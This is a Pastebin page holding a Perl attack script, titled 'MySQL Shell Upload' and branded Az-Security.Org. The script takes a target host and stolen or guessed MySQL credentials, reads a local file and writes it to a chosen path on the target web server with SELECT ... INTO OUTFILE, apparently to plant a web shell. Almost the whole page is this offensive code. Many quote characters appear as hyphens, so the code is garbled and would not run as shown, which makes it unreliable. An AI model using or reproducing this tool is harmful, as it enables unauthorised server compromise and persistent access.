Advertisement
Kyfx

MySQL Shell Upload

Mar 18th, 2015
390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.93 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use strict;
  3. use warnings;
  4. use DBI;
  5. use DBD::mysql;
  6. use IO::File;
  7. use Term::ANSIColor qw(:constants);
  8. sub main(){
  9. print -\n┏━┓┏━┓╋╋╋┏━━━┓╋╋┏┓
  10. ┃┃┗┛┃┃╋╋╋┃┏━┓┃╋╋┃┃
  11. ┃┏┓┏┓┣┓╋┏┫┗━━┳━━┫┃
  12. ┃┃┃┃┃┃┃╋┃┣━━┓┃┏┓┃┃╋┏┓
  13. ┃┃┃┃┃┃┗━┛┃┗━┛┃┗┛┃┗━┛┃
  14. ┗┛┗┛┗┻━┓┏┻━━━┻━┓┣━━━┛
  15. ╋╋╋╋╋┏━┛┃╋╋╋╋╋╋┃┃
  16. ╋╋╋╋╋┗━━┛╋╋╋╋╋╋┗┛\n";
  17. print -+++▲ Az-Security.Org ▲\n";
  18. print -+++▲ Az-Security.Org ▲\n\n";
  19. print BOLD BLUE,-\n[*]-,RESET,- [~] Information's Target [~]-;
  20. print -\n\n\n";
  21. print BOLD BLUE,-[*]-,RESET,- Host: -;
  22. chomp(my $host = <stdin>);
  23. print BOLD BLUE,-[*]-,RESET,- User: -;
  24. chomp(my $user = <stdin>);
  25. print BOLD BLUE,-[*]-,RESET,- Password: -;
  26. chomp(my $pass = <stdin>);
  27. print BOLD BLUE,-[*]-,RESET,- File of text , which will be uploaded to host : -;
  28. chomp(my $arq = <stdin>);
  29. print BOLD BLUE,-[*]-,RESET,- Path of site+Name of the final file:  -;
  30. chomp(my $path = <stdin>);
  31. my $dsn = "dbi:mysql::$host:3306";
  32. my $dbh = DBI->connect($dsn, $user, $pass,{
  33. PrintError => 0,
  34. RaiseError => 0
  35. });
  36. if(!$dbh) { die(BOLD RED,-\n[-]-,RESET,- Connection error\n\n"); }
  37. my $f = new IO::File;
  38. $f->open(-<$arq") or die $!;
  39. my @file = <$f>;
  40. chomp(@file);
  41. my $text = join(--,@file);
  42. chomp($text);
  43. &AddSlashes($text);
  44. $f->close;
  45. my $sth = $dbh->prepare('SELECT -- . $text . -- INTO OUTFILE --.$path.---);
  46. if(!$sth->execute()){
  47. print BOLD RED -\n[-]-,RESET,- Failed to make file\n\n";
  48. exit;
  49. } else {
  50. print GREEN -\n[+]-,RESET,- File are create !!!\n\n";
  51. exit;
  52. }
  53. }
  54. sub AddSlashes()
  55. {
  56.    my $text = shift;
  57.    $text =~ s/\\/\\\\/g;
  58.    $text =~ s/-/\\-/g;
  59.    $text =~ s/-/\\-/g;
  60.    $text =~ s/\\0/\\\\0/g;
  61.    return $text;
  62. }
  63. &main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement